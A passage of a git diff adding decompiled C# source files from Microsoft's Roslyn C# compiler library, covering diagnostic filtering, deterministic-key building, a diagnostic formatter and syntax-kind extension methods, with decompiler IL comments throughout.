(BaseMethodDeclarationSyntax)(object)node; + IEnumerable parameterListInitializersAndAttributes2 = GetParameterListInitializersAndAttributes(baseMethodDeclarationSyntax.ParameterList); + parameterListInitializersAndAttributes2 = EnumerableExtensions.Concat(parameterListInitializersAndAttributes2, (SyntaxNode)(object)baseMethodDeclarationSyntax.Body); + if (baseMethodDeclarationSyntax is ConstructorDeclarationSyntax { Initializer: not null } constructorDeclarationSyntax) + { + parameterListInitializersAndAttributes2 = EnumerableExtensions.Concat(parameterListInitializersAndAttributes2, (SyntaxNode)(object)constructorDeclarationSyntax.Initializer); + } + ArrowExpressionClauseSyntax expressionBodySyntax = GetExpressionBodySyntax(baseMethodDeclarationSyntax); + if (expressionBodySyntax != null) + { + parameterListInitializersAndAttributes2 = EnumerableExtensions.Concat(parameterListInitializersAndAttributes2, (SyntaxNode)(object)expressionBodySyntax); + } + parameterListInitializersAndAttributes2 = parameterListInitializersAndAttributes2.Concat(GetAttributes(baseMethodDeclarationSyntax.AttributeLists)); + if (node is MethodDeclarationSyntax { TypeParameterList: not null } methodDeclarationSyntax) + { + parameterListInitializersAndAttributes2 = parameterListInitializersAndAttributes2.Concat(GetTypeParameterListAttributes(methodDeclarationSyntax.TypeParameterList)); + } + builder.Add(DeclarationComputer.GetDeclarationInfo(model, node, getSymbol, parameterListInitializersAndAttributes2, cancellationToken)); + break; + } + case SyntaxKind.CompilationUnit: + { + CompilationUnitSyntax compilationUnitSyntax = (CompilationUnitSyntax)(object)node; + if (associatedSymbol is IMethodSymbol) + { + builder.Add(DeclarationComputer.GetDeclarationInfo(model, node, getSymbol, (IEnumerable)(object)new CompilationUnitSyntax[1] { compilationUnitSyntax }, cancellationToken)); + break; + } + Enumerator enumerator = compilationUnitSyntax.Members.GetEnumerator(); + while (enumerator.MoveNext()) + { + MemberDeclarationSyntax current = enumerator.Current; + ComputeDeclarations(model, null, (SyntaxNode)(object)current, shouldSkip, getSymbol, builder, levelsToCompute2, cancellationToken); + } + if (compilationUnitSyntax.AttributeLists.Any()) + { + IEnumerable attributes = GetAttributes(compilationUnitSyntax.AttributeLists); + builder.Add(DeclarationComputer.GetDeclarationInfo(model, node, false, attributes, cancellationToken)); + } + break; + } + } + } + + private static IEnumerable GetAttributes(SyntaxList attributeLists) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = attributeLists.GetEnumerator(); + while (enumerator.MoveNext()) + { + AttributeListSyntax current = enumerator.Current; + Enumerator enumerator2 = current.Attributes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + yield return (SyntaxNode)(object)enumerator2.Current; + } + } + } + + private static IEnumerable GetParameterListInitializersAndAttributes(BaseParameterListSyntax parameterList) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + if (parameterList == null) + { + return SpecializedCollections.EmptyEnumerable(); + } + return ((IEnumerable)(object)parameterList.Parameters).SelectMany((ParameterSyntax p) => GetParameterInitializersAndAttributes(p)); + } + + private static IEnumerable GetParameterInitializersAndAttributes(ParameterSyntax parameter) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return ((IEnumerable)SpecializedCollections.SingletonEnumerable(parameter.Default)).Concat(GetAttributes(parameter.AttributeLists)); + } + + private static IEnumerable GetTypeParameterListAttributes(TypeParameterListSyntax typeParameterList) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + if (typeParameterList == null) + { + return SpecializedCollections.EmptyEnumerable(); + } + return ((IEnumerable)(object)typeParameterList.Parameters).SelectMany((TypeParameterSyntax p) => GetAttributes(p.AttributeLists)); + } + + private static DeclarationInfo GetExpressionBodyDeclarationInfo(BasePropertyDeclarationSyntax declarationWithExpressionBody, ArrowExpressionClauseSyntax expressionBody, SemanticModel model, bool getSymbol, CancellationToken cancellationToken) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + object obj; + if (!getSymbol) + { + obj = null; + } + else + { + ISymbol? declaredSymbol = model.GetDeclaredSymbol(declarationWithExpressionBody, cancellationToken); + ISymbol? obj2 = ((declaredSymbol is IPropertySymbol) ? declaredSymbol : null); + obj = ((obj2 != null) ? ((IPropertySymbol)obj2).GetMethod : null); + } + IMethodSymbol val = (IMethodSymbol)obj; + return new DeclarationInfo((SyntaxNode)(object)expressionBody, ImmutableArray.Create((SyntaxNode)(object)expressionBody), (ISymbol)(object)val); + } + + internal static ArrowExpressionClauseSyntax GetExpressionBodySyntax(CSharpSyntaxNode node) + { + ArrowExpressionClauseSyntax result = null; + switch (node.Kind()) + { + case SyntaxKind.ArrowExpressionClause: + result = (ArrowExpressionClauseSyntax)node; + break; + case SyntaxKind.MethodDeclaration: + result = ((MethodDeclarationSyntax)node).ExpressionBody; + break; + case SyntaxKind.OperatorDeclaration: + result = ((OperatorDeclarationSyntax)node).ExpressionBody; + break; + case SyntaxKind.ConversionOperatorDeclaration: + result = ((ConversionOperatorDeclarationSyntax)node).ExpressionBody; + break; + case SyntaxKind.PropertyDeclaration: + result = ((PropertyDeclarationSyntax)node).ExpressionBody; + break; + case SyntaxKind.IndexerDeclaration: + result = ((IndexerDeclarationSyntax)node).ExpressionBody; + break; + case SyntaxKind.ConstructorDeclaration: + result = ((ConstructorDeclarationSyntax)node).ExpressionBody; + break; + case SyntaxKind.DestructorDeclaration: + result = ((DestructorDeclarationSyntax)node).ExpressionBody; + break; + default: + ExceptionUtilities.UnexpectedValue((object)node.Kind()); + break; + } + return result; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpDeterministicKeyBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpDeterministicKeyBuilder.cs new file mode 100644 index 0000000..bf3708a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpDeterministicKeyBuilder.cs @@ -0,0 +1,53 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class CSharpDeterministicKeyBuilder : DeterministicKeyBuilder +{ + internal static readonly CSharpDeterministicKeyBuilder Instance = new CSharpDeterministicKeyBuilder(); + + private CSharpDeterministicKeyBuilder() + { + } + + protected override void WriteCompilationOptionsCore(JsonWriter writer, CompilationOptions options) + { + if (!(options is CSharpCompilationOptions cSharpCompilationOptions)) + { + throw new ArgumentException(null, "options"); + } + ((DeterministicKeyBuilder)this).WriteCompilationOptionsCore(writer, options); + writer.Write("unsafe", cSharpCompilationOptions.AllowUnsafe); + writer.Write("topLevelBinderFlags", cSharpCompilationOptions.TopLevelBinderFlags); + writer.WriteKey("usings"); + writer.WriteArrayStart(); + ImmutableArray.Enumerator enumerator = cSharpCompilationOptions.Usings.GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + writer.Write(current); + } + writer.WriteArrayEnd(); + } + + protected override void WriteParseOptionsCore(JsonWriter writer, ParseOptions parseOptions) + { + if (!(parseOptions is CSharpParseOptions cSharpParseOptions)) + { + throw new ArgumentException(null, "parseOptions"); + } + ((DeterministicKeyBuilder)this).WriteParseOptionsCore(writer, parseOptions); + writer.Write("languageVersion", cSharpParseOptions.LanguageVersion); + writer.Write("specifiedLanguageVersion", cSharpParseOptions.SpecifiedLanguageVersion); + writer.WriteKey("preprocessorSymbols"); + writer.WriteArrayStart(); + foreach (string item in EnumerableExtensions.OrderBy((IEnumerable)cSharpParseOptions.PreprocessorSymbols, (IComparer)StringComparer.Ordinal)) + { + writer.Write(item); + } + writer.WriteArrayEnd(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpDiagnosticFilter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpDiagnosticFilter.cs new file mode 100644 index 0000000..571e8bd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpDiagnosticFilter.cs @@ -0,0 +1,215 @@ +using System.Collections.Generic; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class CSharpDiagnosticFilter +{ + private static readonly ErrorCode[] s_alinkWarnings = new ErrorCode[3] + { + ErrorCode.WRN_ConflictingMachineAssembly, + ErrorCode.WRN_RefCultureMismatch, + ErrorCode.WRN_InvalidVersionFormat + }; + + internal static Diagnostic? Filter(Diagnostic d, int warningLevelOption, NullableContextOptions nullableOption, ReportDiagnostic generalDiagnosticOption, IDictionary specificDiagnosticOptions, SyntaxTreeOptionsProvider? syntaxTreeOptions, CancellationToken cancellationToken) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + if (d == null) + { + return d; + } + if (d.IsNotConfigurable()) + { + if (d.IsEnabledByDefault) + { + return d; + } + return null; + } + if ((int)d.Severity == -2) + { + return null; + } + bool hasPragmaSuppression; + ReportDiagnostic val = ((!IReadOnlyListExtensions.Contains((IReadOnlyList)s_alinkWarnings, (ErrorCode)d.Code, (IEqualityComparer)null) || !specificDiagnosticOptions.Keys.Contains(((CommonMessageProvider)MessageProvider.Instance).GetIdForErrorCode(1607))) ? GetDiagnosticReport(d.Severity, d.IsEnabledByDefault, d.Code, d.Id, d.WarningLevel, d.Location, warningLevelOption, nullableOption, generalDiagnosticOption, specificDiagnosticOptions, syntaxTreeOptions, cancellationToken, out hasPragmaSuppression) : GetDiagnosticReport(ErrorFacts.GetSeverity(ErrorCode.WRN_ALinkWarn), d.IsEnabledByDefault, d.Code, ((CommonMessageProvider)MessageProvider.Instance).GetIdForErrorCode(1607), ErrorFacts.GetWarningLevel(ErrorCode.WRN_ALinkWarn), d.Location, warningLevelOption, nullableOption, generalDiagnosticOption, specificDiagnosticOptions, syntaxTreeOptions, cancellationToken, out hasPragmaSuppression)); + if (hasPragmaSuppression) + { + d = d.WithIsSuppressed(true); + } + return d.WithReportDiagnostic(val); + } + + internal static ReportDiagnostic GetDiagnosticReport(DiagnosticSeverity severity, bool isEnabledByDefault, int errorCode, string id, int diagnosticWarningLevel, Location location, int warningLevelOption, NullableContextOptions nullableOption, ReportDiagnostic generalDiagnosticOption, IDictionary specificDiagnosticOptions, SyntaxTreeOptionsProvider? syntaxTreeOptions, CancellationToken cancellationToken, out bool hasPragmaSuppression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0108: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_017c: Unknown result type (might be due to invalid IL or missing references) + //IL_017e: Invalid comparison between Unknown and I4 + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_017b: Unknown result type (might be due to invalid IL or missing references) + //IL_015a: Unknown result type (might be due to invalid IL or missing references) + //IL_015c: Unknown result type (might be due to invalid IL or missing references) + //IL_0145: Unknown result type (might be due to invalid IL or missing references) + //IL_014b: Invalid comparison between Unknown and I4 + //IL_0161: Unknown result type (might be due to invalid IL or missing references) + //IL_0163: Invalid comparison between Unknown and I4 + //IL_014d: Unknown result type (might be due to invalid IL or missing references) + //IL_0150: Invalid comparison between Unknown and I4 + //IL_01dd: Unknown result type (might be due to invalid IL or missing references) + //IL_01df: Invalid comparison between Unknown and I4 + //IL_019b: Unknown result type (might be due to invalid IL or missing references) + //IL_01b9: Expected I4, but got Unknown + //IL_0165: Unknown result type (might be due to invalid IL or missing references) + //IL_0168: Invalid comparison between Unknown and I4 + //IL_01e3: Unknown result type (might be due to invalid IL or missing references) + //IL_01bf: Unknown result type (might be due to invalid IL or missing references) + //IL_01c2: Invalid comparison between Unknown and I4 + //IL_01bb: Unknown result type (might be due to invalid IL or missing references) + //IL_016b: Unknown result type (might be due to invalid IL or missing references) + //IL_01e6: Unknown result type (might be due to invalid IL or missing references) + //IL_01e9: Invalid comparison between Unknown and I4 + //IL_01d1: Unknown result type (might be due to invalid IL or missing references) + //IL_022b: Unknown result type (might be due to invalid IL or missing references) + //IL_01eb: Unknown result type (might be due to invalid IL or missing references) + //IL_01ee: Invalid comparison between Unknown and I4 + //IL_022a: Unknown result type (might be due to invalid IL or missing references) + //IL_01fe: Unknown result type (might be due to invalid IL or missing references) + //IL_0204: Invalid comparison between Unknown and I4 + //IL_0210: Unknown result type (might be due to invalid IL or missing references) + //IL_0207: Unknown result type (might be due to invalid IL or missing references) + //IL_020d: Invalid comparison between Unknown and I4 + hasPragmaSuppression = false; + CSharpSyntaxTree cSharpSyntaxTree = location.SourceTree as CSharpSyntaxTree; + TextSpan sourceSpan = location.SourceSpan; + int start = ((TextSpan)(ref sourceSpan)).Start; + if (ErrorFacts.NullableWarnings.Contains(id)) + { + NullableContextState.State? state = cSharpSyntaxTree?.GetNullableContextState(start).WarningsState; + if (state switch + { + NullableContextState.State.Enabled => 1, + NullableContextState.State.Disabled => 0, + NullableContextState.State.ExplicitlyRestored => NullableContextOptionsExtensions.WarningsEnabled(nullableOption) ? 1 : 0, + NullableContextState.State.Unknown => (NullableContextOptionsExtensions.WarningsEnabled(nullableOption) && (cSharpSyntaxTree == null || !cSharpSyntaxTree.IsGeneratedCode(syntaxTreeOptions, cancellationToken))) ? 1 : 0, + null => NullableContextOptionsExtensions.WarningsEnabled(nullableOption) ? 1 : 0, + _ => throw ExceptionUtilities.UnexpectedValue((object)state), + } == 0) + { + return (ReportDiagnostic)5; + } + } + if (diagnosticWarningLevel > warningLevelOption) + { + return (ReportDiagnostic)5; + } + bool isSpecified = false; + bool flag = false; + if (specificDiagnosticOptions.TryGetValue(id, out var value)) + { + isSpecified = true; + if ((int)value == 0) + { + flag = true; + } + } + ReportDiagnostic val = default(ReportDiagnostic); + if (syntaxTreeOptions != null && (!isSpecified || flag) && ((cSharpSyntaxTree != null && syntaxTreeOptions.TryGetDiagnosticValue((SyntaxTree)(object)cSharpSyntaxTree, id, cancellationToken, ref val)) || syntaxTreeOptions.TryGetGlobalDiagnosticValue(id, cancellationToken, ref val)) && (!flag || (int)severity != 2 || (int)val != 1)) + { + isSpecified = true; + value = val; + if (!flag && (int)value == 2 && (int)generalDiagnosticOption == 1) + { + value = (ReportDiagnostic)1; + } + } + if (!isSpecified) + { + value = (ReportDiagnostic)((!isEnabledByDefault) ? 5 : 0); + } + if ((int)value == 5) + { + return (ReportDiagnostic)5; + } + PragmaWarningState num = cSharpSyntaxTree?.GetPragmaDirectiveWarningState(id, start) ?? PragmaWarningState.Default; + if (num == PragmaWarningState.Disabled) + { + hasPragmaSuppression = true; + } + if (num == PragmaWarningState.Enabled) + { + switch ((int)value) + { + case 1: + case 2: + case 3: + case 4: + return value; + case 5: + return (ReportDiagnostic)0; + case 0: + if ((int)generalDiagnosticOption == 1 && promoteToAnError()) + { + return (ReportDiagnostic)1; + } + return (ReportDiagnostic)0; + default: + throw ExceptionUtilities.UnexpectedValue((object)value); + } + } + if ((int)value == 5) + { + return (ReportDiagnostic)5; + } + if ((int)value == 0) + { + if ((int)generalDiagnosticOption != 1) + { + if ((int)generalDiagnosticOption == 5 && ((int)severity == 2 || (int)severity == 1)) + { + value = (ReportDiagnostic)5; + isSpecified = true; + } + } + else if (promoteToAnError()) + { + return (ReportDiagnostic)1; + } + } + if (!isSpecified && errorCode == 9204) + { + value = (ReportDiagnostic)1; + } + return value; + bool promoteToAnError() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)severity == 2) + { + return !isSpecified; + } + return false; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpDiagnosticFormatter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpDiagnosticFormatter.cs new file mode 100644 index 0000000..0ec6618 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpDiagnosticFormatter.cs @@ -0,0 +1,15 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +public class CSharpDiagnosticFormatter : DiagnosticFormatter +{ + public static CSharpDiagnosticFormatter Instance { get; } = new CSharpDiagnosticFormatter(); + + internal CSharpDiagnosticFormatter() + { + } + + internal override bool HasDefaultHelpLinkUri(Diagnostic diagnostic) + { + return diagnostic.Descriptor.HelpLinkUri == ErrorFacts.GetHelpLink((ErrorCode)diagnostic.Code); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpExtensions.cs new file mode 100644 index 0000000..371e698 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpExtensions.cs @@ -0,0 +1,977 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.Operations; +using Microsoft.CodeAnalysis.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +public static class CSharpExtensions +{ + internal static bool IsCSharpKind(int rawKind) + { + return (uint)(rawKind - 2) > 8190u; + } + + public static SyntaxKind Kind(this SyntaxToken token) + { + int rawKind = ((SyntaxToken)(ref token)).RawKind; + if (!IsCSharpKind(rawKind)) + { + return SyntaxKind.None; + } + return (SyntaxKind)rawKind; + } + + public static SyntaxKind Kind(this SyntaxTrivia trivia) + { + int rawKind = ((SyntaxTrivia)(ref trivia)).RawKind; + if (!IsCSharpKind(rawKind)) + { + return SyntaxKind.None; + } + return (SyntaxKind)rawKind; + } + + public static SyntaxKind Kind(this SyntaxNode node) + { + int rawKind = node.RawKind; + if (!IsCSharpKind(rawKind)) + { + return SyntaxKind.None; + } + return (SyntaxKind)rawKind; + } + + public static SyntaxKind Kind(this SyntaxNodeOrToken nodeOrToken) + { + int rawKind = ((SyntaxNodeOrToken)(ref nodeOrToken)).RawKind; + if (!IsCSharpKind(rawKind)) + { + return SyntaxKind.None; + } + return (SyntaxKind)rawKind; + } + + public static bool IsKeyword(this SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return SyntaxFacts.IsKeywordKind(token.Kind()); + } + + public static bool IsContextualKeyword(this SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return SyntaxFacts.IsContextualKeyword(token.Kind()); + } + + public static bool IsReservedKeyword(this SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return SyntaxFacts.IsReservedKeyword(token.Kind()); + } + + public static bool IsVerbatimStringLiteral(this SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = token.Kind(); + bool flag = ((syntaxKind == SyntaxKind.StringLiteralToken || syntaxKind == SyntaxKind.Utf8StringLiteralToken) ? true : false); + if (flag && ((SyntaxToken)(ref token)).Text.Length > 0) + { + return ((SyntaxToken)(ref token)).Text[0] == '@'; + } + return false; + } + + public static bool IsVerbatimIdentifier(this SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (token.IsKind(SyntaxKind.IdentifierToken) && ((SyntaxToken)(ref token)).Text.Length > 0) + { + return ((SyntaxToken)(ref token)).Text[0] == '@'; + } + return false; + } + + public static VarianceKind VarianceKindFromToken(this SyntaxToken node) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return (VarianceKind)(node.Kind() switch + { + SyntaxKind.OutKeyword => 1, + SyntaxKind.InKeyword => 2, + _ => 0, + }); + } + + public static SyntaxTokenList Insert(this SyntaxTokenList list, int index, params SyntaxToken[] items) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + if (index < 0 || index > ((SyntaxTokenList)(ref list)).Count) + { + throw new ArgumentOutOfRangeException("index"); + } + if (items == null) + { + throw new ArgumentNullException("items"); + } + if (((SyntaxTokenList)(ref list)).Count == 0) + { + return SyntaxFactory.TokenList(items); + } + SyntaxTokenListBuilder val = new SyntaxTokenListBuilder(((SyntaxTokenList)(ref list)).Count + items.Length); + if (index > 0) + { + val.Add(list, 0, index); + } + val.Add(items); + if (index < ((SyntaxTokenList)(ref list)).Count) + { + val.Add(list, index, ((SyntaxTokenList)(ref list)).Count - index); + } + return val.ToList(); + } + + public static SyntaxToken ReplaceTrivia(this SyntaxToken token, IEnumerable trivia, Func computeReplacementTrivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return SyntaxReplacer.Replace(token, null, null, null, null, trivia, computeReplacementTrivia); + } + + public static SyntaxToken ReplaceTrivia(this SyntaxToken token, SyntaxTrivia oldTrivia, SyntaxTrivia newTrivia) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return SyntaxReplacer.Replace(token, null, null, null, null, (IEnumerable?)(object)new SyntaxTrivia[1] { oldTrivia }, (SyntaxTrivia o, SyntaxTrivia r) => newTrivia); + } + + internal static DirectiveStack ApplyDirectives(this SyntaxNode node, DirectiveStack stack) + { + return ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode)(object)node.Green).ApplyDirectives(stack); + } + + internal static DirectiveStack ApplyDirectives(this SyntaxToken token, DirectiveStack stack) + { + return ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode)(object)((SyntaxToken)(ref token)).Node).ApplyDirectives(stack); + } + + internal static DirectiveStack ApplyDirectives(this SyntaxNodeOrToken nodeOrToken, DirectiveStack stack) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (((SyntaxNodeOrToken)(ref nodeOrToken)).IsToken) + { + return ((SyntaxNodeOrToken)(ref nodeOrToken)).AsToken().ApplyDirectives(stack); + } + SyntaxNode node = default(SyntaxNode); + if (((SyntaxNodeOrToken)(ref nodeOrToken)).AsNode(ref node)) + { + return node.ApplyDirectives(stack); + } + return stack; + } + + internal unsafe static SeparatedSyntaxList AsSeparatedList(this SyntaxNodeOrTokenList list) where TOther : SyntaxNode + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + SeparatedSyntaxListBuilder val = SeparatedSyntaxListBuilder.Create(); + Enumerator enumerator = ((SyntaxNodeOrTokenList)(ref list)).GetEnumerator(); + try + { + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxNodeOrToken current = ((Enumerator)(ref enumerator)).Current; + SyntaxNode val2 = ((SyntaxNodeOrToken)(ref current)).AsNode(); + if (val2 != null) + { + val.Add((TOther)(object)val2); + continue; + } + SyntaxToken val3 = ((SyntaxNodeOrToken)(ref current)).AsToken(); + val.AddSeparator(ref val3); + } + } + finally + { + ((IDisposable)(*(Enumerator*)(&enumerator))/*cast due to constrained. prefix*/).Dispose(); + } + return val.ToList(); + } + + internal static IList GetDirectives(this SyntaxNode node, Func? filter = null) + { + return ((CSharpSyntaxNode)(object)node).GetDirectives(filter); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DirectiveTriviaSyntax? GetFirstDirective(this SyntaxNode node, Func? predicate = null) + { + return ((CSharpSyntaxNode)(object)node).GetFirstDirective(predicate); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DirectiveTriviaSyntax? GetLastDirective(this SyntaxNode node, Func? predicate = null) + { + return ((CSharpSyntaxNode)(object)node).GetLastDirective(predicate); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax GetCompilationUnitRoot(this SyntaxTree tree, CancellationToken cancellationToken = default(CancellationToken)) + { + return (Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax)(object)tree.GetRoot(cancellationToken); + } + + internal static bool HasReferenceDirectives([NotNullWhen(true)] this SyntaxTree? tree) + { + if (tree is CSharpSyntaxTree cSharpSyntaxTree) + { + return cSharpSyntaxTree.HasReferenceDirectives; + } + return false; + } + + internal static bool HasReferenceOrLoadDirectives([NotNullWhen(true)] this SyntaxTree? tree) + { + if (tree is CSharpSyntaxTree cSharpSyntaxTree) + { + return cSharpSyntaxTree.HasReferenceOrLoadDirectives; + } + return false; + } + + internal static bool IsAnyPreprocessorSymbolDefined([NotNullWhen(true)] this SyntaxTree? tree, ImmutableArray conditionalSymbols) + { + if (tree is CSharpSyntaxTree cSharpSyntaxTree) + { + return cSharpSyntaxTree.IsAnyPreprocessorSymbolDefined(conditionalSymbols); + } + return false; + } + + internal static bool IsPreprocessorSymbolDefined([NotNullWhen(true)] this SyntaxTree? tree, string symbolName, int position) + { + if (tree is CSharpSyntaxTree cSharpSyntaxTree) + { + return cSharpSyntaxTree.IsPreprocessorSymbolDefined(symbolName, position); + } + return false; + } + + internal static PragmaWarningState GetPragmaDirectiveWarningState(this SyntaxTree tree, string id, int position) + { + return ((CSharpSyntaxTree)(object)tree).GetPragmaDirectiveWarningState(id, position); + } + + public static Conversion ClassifyConversion(this Compilation? compilation, ITypeSymbol source, ITypeSymbol destination) + { + if (compilation is CSharpCompilation cSharpCompilation) + { + return cSharpCompilation.ClassifyConversion(source, destination); + } + return Conversion.NoConversion; + } + + public static SymbolInfo GetSymbolInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.OrderingSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetSymbolInfo(node, cancellationToken); + } + return SymbolInfo.None; + } + + public static SymbolInfo GetSymbolInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.SelectOrGroupClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetSymbolInfo(node, cancellationToken); + } + return SymbolInfo.None; + } + + public static SymbolInfo GetSymbolInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetSymbolInfo(expression, cancellationToken); + } + return SymbolInfo.None; + } + + public static SymbolInfo GetCollectionInitializerSymbolInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetCollectionInitializerSymbolInfo(expression, cancellationToken); + } + return SymbolInfo.None; + } + + public static SymbolInfo GetSymbolInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax constructorInitializer, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid 